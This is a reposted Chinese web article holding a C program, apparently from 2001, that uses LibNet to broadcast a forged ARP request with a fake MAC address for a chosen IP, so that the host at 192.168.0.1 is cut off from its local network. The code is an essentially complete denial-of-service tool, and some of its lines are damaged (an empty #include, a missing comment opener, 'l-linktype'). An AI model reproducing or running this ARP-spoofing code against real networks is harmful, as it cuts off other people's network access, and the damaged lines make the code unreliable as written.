动态ARP可导致整个TCP/IP网络中断

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

程序名:Arp_break_net.c

用途 :演示通过ARP数据包使网络中的某主机无法连接网络

演示中192.168.0.1 将无法连接进入网络

编写 :cloud

时间 :2001-2-11

其他 :程序依赖LibNet

*/

#include

u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)

u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

//目标MAC地址(广播地址)

u_char ip_src[4] = {192,168,0,1};

//源IP地址 (被踢出网络的IP地址)

u_char ip_dst[4] = {192,168,0,255};

//目标IP地址 (随便一个IP地址)

int main(int argc, char *argv[])

{

int c;

char errbuf[256];

char *device = "eth0"; //数据包从第一个网卡发送出去

struct libnet_link_int *l;

l = libnet_open_link_interface(device, errbuf); //打开设备

if (!l)

{

fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);

exit(EXIT_FAILURE);

}

c = send_arp(l, device); //发送ARP数据包

return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);

}

int send_arp(struct link_int *l, u_char *device)

{

int n;

u_char *buf;

if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)

{

perror("libnet_init_packet memory:");

exit(EXIT_FAILURE);

}

/*

* 构造以太数据包头部信息

*/

libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

/*

* 构造ARP数据包头部信息

*/

libnet_build_arp(ARPHRD_ETHER,

ETHERTYPE_IP,

6,

4,

ARPOP_REQUEST,

enet_src,

ip_src,

enet_dst,

ip_dst,

NULL,

0,

buf + ETH_H);

n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包

printf("Wrote %d byte ARP packet through linktype %d\n", n, l-linktype);

libnet_destroy_packet(&buf);

return (n);

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航